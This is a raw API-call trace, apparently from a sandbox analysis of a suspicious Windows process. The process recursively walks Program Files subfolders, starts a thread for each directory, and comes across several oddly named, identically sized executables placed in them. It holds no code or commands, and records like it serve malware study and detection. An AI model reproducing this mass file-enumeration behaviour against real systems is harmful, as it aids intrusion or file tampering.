	[0073.795] wcscpy (in: _Dest=0x47338d0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.795] wcscat (in: _Dest=0x47338d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.795] wcscat (in: _Dest=0x47338d0, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services"
	[0073.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47338d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0073.796] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0073.796] wcscmp (_String1="System", _String2=".") returned 1
	[0073.796] wcscmp (_String1="System", _String2="..") returned 1
	[0073.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d776c0
	[0073.796] wcscpy (in: _Dest=0x2d776c0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.796] wcscat (in: _Dest=0x2d776c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\"
	[0073.796] wcscat (in: _Dest=0x2d776c0, _Source="System" | out: _Dest="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System"
	[0073.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d776c0) returned 1
	[0073.796] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0073.796] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85918) returned 1
	[0073.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ec0) returned 1

Thread:
	id = 97
	os_tid = 0x1244

	[0073.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73270
	[0073.797] wcscpy (in: _Dest=0x2d73270, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0073.798] wcscat (in: _Dest=0x2d73270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\"
	[0073.798] wcscat (in: _Dest=0x2d73270, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\*") returned="C:\\Program Files (x86)\\Google\\*"
	[0073.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.798] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.798] wcscmp (_String1=".", _String2=".") returned 0
	[0073.798] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.798] wcscmp (_String1="..", _String2=".") returned 1
	[0073.798] wcscmp (_String1="..", _String2="..") returned 0
	[0073.798] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0073.798] wcscmp (_String1="Chrome", _String2=".") returned 1
	[0073.798] wcscmp (_String1="Chrome", _String2="..") returned 1
	[0073.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d85e40
	[0073.798] wcscpy (in: _Dest=0x2d85e40, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0073.798] wcscat (in: _Dest=0x2d85e40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\"
	[0073.798] wcscat (in: _Dest=0x2d85e40, _Source="Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome"
	[0073.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0073.799] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0073.799] wcscmp (_String1="CrashReports", _String2=".") returned 1
	[0073.799] wcscmp (_String1="CrashReports", _String2="..") returned 1
	[0073.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77900
	[0073.799] wcscpy (in: _Dest=0x2d77900, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0073.799] wcscat (in: _Dest=0x2d77900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\"
	[0073.799] wcscat (in: _Dest=0x2d77900, _Source="CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports"
	[0073.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0073.800] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edfa8e0, ftCreationTime.dwHighDateTime=0x1d56611, ftLastAccessTime.dwLowDateTime=0x9e78a930, ftLastAccessTime.dwHighDateTime=0x1d54fcf, ftLastWriteTime.dwLowDateTime=0x9e78a930, ftLastWriteTime.dwHighDateTime=0x1d54fcf, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mud.exe", cAlternateFileName="")) returned 1
	[0073.800] wcscmp (_String1="mud.exe", _String2=".") returned 1
	[0073.800] wcscmp (_String1="mud.exe", _String2="..") returned 1
	[0073.800] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1
	[0073.800] wcscmp (_String1="Update2", _String2=".") returned 1
	[0073.800] wcscmp (_String1="Update2", _String2="..") returned 1
	[0073.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85918
	[0073.800] wcscpy (in: _Dest=0x2d85918, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0073.800] wcscat (in: _Dest=0x2d85918, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\"
	[0073.800] wcscat (in: _Dest=0x2d85918, _Source="Update2" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2") returned="C:\\Program Files (x86)\\Google\\Update2"
	[0073.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0073.801] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0
	[0073.801] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73270) returned 1
	[0073.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73108) returned 1

Thread:
	id = 98
	os_tid = 0x1248

	[0073.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d779c0
	[0073.802] wcscpy (in: _Dest=0x2d779c0, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office"
	[0073.802] wcscat (in: _Dest=0x2d779c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\"
	[0073.802] wcscat (in: _Dest=0x2d779c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\*"
	[0073.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3a2e634d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2e634d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.802] wcscmp (_String1=".", _String2=".") returned 0
	[0073.802] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3a2e634d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2e634d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.802] wcscmp (_String1="..", _String2=".") returned 1
	[0073.802] wcscmp (_String1="..", _String2="..") returned 0
	[0073.802] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b28f00, ftCreationTime.dwHighDateTime=0x1d59aac, ftLastAccessTime.dwLowDateTime=0x92550980, ftLastAccessTime.dwHighDateTime=0x1d5a32d, ftLastWriteTime.dwLowDateTime=0x92550980, ftLastWriteTime.dwHighDateTime=0x1d5a32d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipaqlloydshooting.exe", cAlternateFileName="IPAQLL~1.EXE")) returned 1
	[0073.802] wcscmp (_String1="ipaqlloydshooting.exe", _String2=".") returned 1
	[0073.802] wcscmp (_String1="ipaqlloydshooting.exe", _String2="..") returned 1
	[0073.802] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b28f00, ftCreationTime.dwHighDateTime=0x1d59aac, ftLastAccessTime.dwLowDateTime=0x92550980, ftLastAccessTime.dwHighDateTime=0x1d5a32d, ftLastWriteTime.dwLowDateTime=0x92550980, ftLastWriteTime.dwHighDateTime=0x1d5a32d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipaqlloydshooting.exe", cAlternateFileName="IPAQLL~1.EXE")) returned 0
	[0073.802] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d779c0) returned 1
	[0073.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d504a0) returned 1

Thread:
	id = 99
	os_tid = 0x1004

	[0073.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d85970
	[0073.805] wcscpy (in: _Dest=0x2d85970, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0073.805] wcscat (in: _Dest=0x2d85970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\"
	[0073.805] wcscat (in: _Dest=0x2d85970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\*"
	[0073.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a24da58, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a24da58, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.806] wcscmp (_String1=".", _String2=".") returned 0
	[0073.806] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a24da58, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a24da58, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.806] wcscmp (_String1="..", _String2=".") returned 1
	[0073.806] wcscmp (_String1="..", _String2="..") returned 0
	[0073.806] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14c9230, ftCreationTime.dwHighDateTime=0x1d56e92, ftLastAccessTime.dwLowDateTime=0x4b8b1ef0, ftLastAccessTime.dwHighDateTime=0x1d56fb5, ftLastWriteTime.dwLowDateTime=0x4b8b1ef0, ftLastWriteTime.dwHighDateTime=0x1d56fb5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="appliance.exe", cAlternateFileName="APPLIA~1.EXE")) returned 1
	[0073.806] wcscmp (_String1="appliance.exe", _String2=".") returned 1
	[0073.806] wcscmp (_String1="appliance.exe", _String2="..") returned 1
	[0073.806] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1
	[0073.806] wcscmp (_String1="Primary Interop Assemblies", _String2=".") returned 1
	[0073.806] wcscmp (_String1="Primary Interop Assemblies", _String2="..") returned 1
	[0073.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2d5b348
	[0073.806] wcscpy (in: _Dest=0x2d5b348, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0073.806] wcscat (in: _Dest=0x2d5b348, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\"
	[0073.806] wcscat (in: _Dest=0x2d5b348, _Source="Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies"
	[0073.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5b348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0073.807] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0073.807] wcscmp (_String1="RedistList", _String2=".") returned 1
	[0073.807] wcscmp (_String1="RedistList", _String2="..") returned 1
	[0073.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734020
	[0073.807] wcscpy (in: _Dest=0x4734020, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0073.807] wcscat (in: _Dest=0x4734020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\"
	[0073.807] wcscat (in: _Dest=0x4734020, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0073.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4734020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0073.807] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0
	[0073.807] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0073.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54a60) returned 1

Thread:
	id = 100
	os_tid = 0xd68

	[0073.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x4731140
	[0073.808] wcscpy (in: _Dest=0x4731140, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild"
	[0073.808] wcscat (in: _Dest=0x4731140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\"
	[0073.808] wcscat (in: _Dest=0x4731140, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\*") returned="C:\\Program Files (x86)\\MSBuild\\*"
	[0073.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.809] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.809] wcscmp (_String1=".", _String2=".") returned 0
	[0073.809] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.809] wcscmp (_String1="..", _String2=".") returned 1
	[0073.809] wcscmp (_String1="..", _String2="..") returned 0
	[0073.809] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.809] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.809] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d776c0
	[0073.809] wcscpy (in: _Dest=0x2d776c0, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild"
	[0073.809] wcscat (in: _Dest=0x2d776c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\"
	[0073.809] wcscat (in: _Dest=0x2d776c0, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft"
	[0073.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d776c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0073.810] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d1d0a0, ftCreationTime.dwHighDateTime=0x1d56962, ftLastAccessTime.dwLowDateTime=0x91b26b60, ftLastAccessTime.dwHighDateTime=0x1d56478, ftLastWriteTime.dwLowDateTime=0x91b26b60, ftLastWriteTime.dwHighDateTime=0x1d56478, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="seemed look.exe", cAlternateFileName="SEEMED~1.EXE")) returned 1
	[0073.810] wcscmp (_String1="seemed look.exe", _String2=".") returned 1
	[0073.810] wcscmp (_String1="seemed look.exe", _String2="..") returned 1
	[0073.810] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d1d0a0, ftCreationTime.dwHighDateTime=0x1d56962, ftLastAccessTime.dwLowDateTime=0x91b26b60, ftLastAccessTime.dwHighDateTime=0x1d56478, ftLastWriteTime.dwLowDateTime=0x91b26b60, ftLastWriteTime.dwHighDateTime=0x1d56478, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="seemed look.exe", cAlternateFileName="SEEMED~1.EXE")) returned 0
